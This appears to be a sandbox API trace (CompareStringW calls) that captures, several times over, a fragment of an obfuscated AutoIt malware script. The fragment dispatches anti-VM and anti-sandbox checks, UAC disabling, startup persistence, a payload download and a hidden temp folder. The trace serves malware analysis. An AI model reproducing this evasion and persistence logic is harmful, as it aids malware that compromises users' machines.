0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 3 [0078.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 3 [0078.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="$4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 